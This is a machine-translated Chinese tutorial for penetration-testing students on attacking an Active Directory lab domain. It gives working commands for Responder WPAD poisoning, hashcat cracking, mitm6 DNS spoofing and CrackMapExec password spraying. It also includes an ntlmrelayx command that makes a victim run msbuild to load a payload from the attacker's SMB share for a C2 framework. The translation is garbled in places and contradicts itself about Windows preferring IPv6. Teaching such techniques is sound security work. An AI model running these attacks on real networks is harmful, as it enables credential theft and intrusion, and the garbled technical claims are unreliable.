本文的翻译是专门为Pentest的学生准备的。 渗透测试实践 。 ”

我有几位客户在渗透测试前来找我,因为他们的状态良好,因为他们的漏洞分析没有显示出严重的漏洞,并且准备接受渗透测试,只是为了让我获得域管理员的权利,我确信他们的状况良好在15分钟内,仅利用AD中的配置错误。
我在渗透测试中看到的教育方面的差距之一是,对Active Directory渗透测试(AD)缺乏了解。 不幸的是,OSCP不会教授AD测试,甚至SANS GPEN课程也几乎不能做到这一点。 本系列文章的目的是帮助证明我过去使用AD成功进行笔试的一些技巧,工具和技术。 这绝不是每种方法或工具的详尽指南。 在整个系列中,我将使用Kali Linux 2019并通过虚拟机在虚拟域中工作。
让我们从定义一个
目标开始:渗透测试的目标是确定攻击者用来侵入网络的任何可能的攻击媒介。 这
不仅仅是获得域管理员权限然后注销。
现在我们有了一个目标,我们必须采取几个步骤来实现它。 以下是渗透测试周期的(粗略的)视觉指南。
发言者:微软简介 :一位客户已雇用您在使用Active Directory的网络上运行渗透测试。 您还没有得到任何东西。 您没有凭证,没有测试界限,没有进入前门的通行证,但是您设法通过门在背后躲藏了一个人,并找到了一个带IP电话的僻静房间。 您拔下IP电话,插入笔记本电脑,然后上网。 接下来是什么?
实施 。
第一阶段 实作
没有凭证,我们只能进行有限的侦察,侦察几乎会在周期的每个阶段进行,但是我们可以立即做几件事以在网络中立足。 首先,由于我们可以访问网络,因此只需通过ifconfig或ipconfig检查我们正在使用的子网。 收到IP地址后,在nmap中发出ping命令以查看其他设备是否可用。
nmap -sn 192.168.1.1/24
如果设备退货,则说明您在做生意。 如果您什么都没收到,则可能禁用了ICMP,网络上没有其他设备,或者由于您尚未通过身份验证,因此无法与其他设备通信,并且可能已被身份安全解决方案(例如Cisco ISE)阻止。 为了本文的方便,我们假设有几台机器返回并且可以成功ping它们。
工具 :
响应者接下来,我们将使用一个名为
Responder的工具,或者,如果您对Windows
没什么不同 ,则使用
Inveigh 。 这两个工具检查AD配置中是否存在非常常见的错误,从而导致中毒WPAD和NBT-NS。 默认情况下,Windows配置为通过自动Web代理发现(WPAD)搜索自动代理配置文件(PAC)。 重要的是要注意,WPAD不是执行搜索的协议,而只是一组允许设备查找PAC文件的过程。 自动检测PAC文件对组织很有用,因为设备将发送广播请求代理文件并接收它。 但是,当然,它不会对谁发送代理文件进行身份验证,从而使攻击者能够发送伪造的响应,然后再请求提供凭据。
在Kali中,默认情况下安装了响应器。
responder -I eth0 --wpad
在Windows 7计算机上,我打开Internet Explorer并转到Google,然后开始搜索WPAD文件。 在响应者中,我看到请求如何到达,然后响应者自动响应请求,结果是受害者发送了他的用户名和哈希密码(采用NTLMv2格式)。

我们可以使用此哈希执行几项操作。 我们可以尝试使用
ntlmrelay.py
类的工具对其进行破解或中继。 我在
本文中讨论了如何转换ntlm哈希,因此我将继续对其进行破解,因为通常这正是我在实践中所做的。
老实说,我很少在Linux / Kali上破解密码。 我使用的是nvidia GPU,该GPU从未在Kali上正确安装,而且Windows上有一个HashcatGUI,这使处理过程变得容易得多,这就是我将要使用的。 我将得到的哈希值放入一个名为
“ hash.txt”的文件中,并在其上运行多个单词列表/规则。 但是在这种情况下,我只运行了
rockyou.txt
,它被黑了一秒钟。
我对HashcatGUI的设置。
密码被盗-“密码!”既然我们已经成功破解了密码,我们将获得凭据“ Alice:Password”!
在继续之前,我想展示其他几种方法,以防响应者无法正常工作。
工具 :
mitm6假设客户端网络使用了合法的PAC文件,并且您的欺骗行为无效。 还有另一种使用IPv6和DNS将凭据传递到目标的方法。 默认情况下,IPv6是启用的,实际上比IPv4更可取。 这意味着,如果计算机具有IPv6 DNS服务器,它将
首选 IPv4。 同样,默认情况下,Windows计算机会通过DHCPv6请求查找IPv6 DNS服务器,这意味着,如果我们伪造IPv6 DNS服务器,我们可以有效地控制设备如何请求DNS。
在此处阅读有关此内容的更多信息。
首先下载
mitm6 。
git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install .
然后在目标网络工作组上运行它。 由于我们以前对网络执行ping操作,因此我们也获得了NetBIOS名称,得知目标域是
lab.local
。
这是我启动
mitm6
之前目标IP设置的
mitm6
注意一台DNS服务器然后我启动了mitm6
mitm6 -d lab.local

现在,DNS服务器的目标已更改
记下IPv6地址作为DNS服务器。
现在真正的漏洞是Windows更喜欢IPv6,而不是IPv4,也就是说,我现在控制DNS。
因此,现在我们使用这样的事实:我们通过通过
ntlmrelayx.py
欺骗WPAD响应来控制DNS。 我写了有关如何安装它的
指南 。
在一个窗口中运行
ntlmrelayx.py
,打开另一个窗口并运行
ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh
:托管WPAD文件的服务器(攻击者IP)
-t
:目标(您不能将凭据转发到制造中的同一设备)
-i
:打开交互式外壳
从这里,您可以连接到您选择的控制和监视系统(C2)。 在这种情况下,我使用SILENTTRINITY,所以我使用-c命令执行我的命令,在这种情况下,该命令使用MSBuild创建我的恶意有效负载。
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

但是,不,在这种情况下,
msbuild.exe
不会创建XML文件,而且我也无法与SILENTTRINITY建立连接,因为那太简单了。 相反,我看着我的SMB服务器,看到中继哈希

反过来,我又黑了。

现在,我们无需使用响应程序即可获得网络凭据。
工具 :
CrackMapExecCrackMapExec本质上是瑞士的五星刀。 从密码喷雾攻击和哈希传输到执行命令,对于渗透测试者来说,它应该存在于每套工具中。
如果其他所有方法均失败,我们可以尝试使用密码喷雾攻击。 为什么使用此方法是最后一个原因,这是由于密码锁定。 密码阻止并不像您想象的那么普遍,这使攻击者可以通过用户名使用字典攻击。 获取用户名是可以通过OSINT和TheHarvester完成的第一步。 如果我们没有来自OSINT的用户名,我们还可以为CrackMapExec(CME)提供用户名列表,但是为了
节省时间,我们假设我们有一个
rsmith用户名 。
如果您使用的是Kali,则应该已经安装了CrackMapExec;如果使用的是较新的版本,则可以安装该软件;如果没有,则可以安装
apt-get install crackmapexec
由于扫描的结果是我们在网络上找到了该设备,因此我们可以为CME提供密码列表和用户名,然后尝试登录到系统。
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares
几秒钟后,找到密码。

找到凭据!
它看起来似乎太CTF了,但是season:year是一个非常流行的密码组合。
获得这些凭据后,我们现在有了一个用户帐户。 在
第二部分中,我们将继续进行特权升级。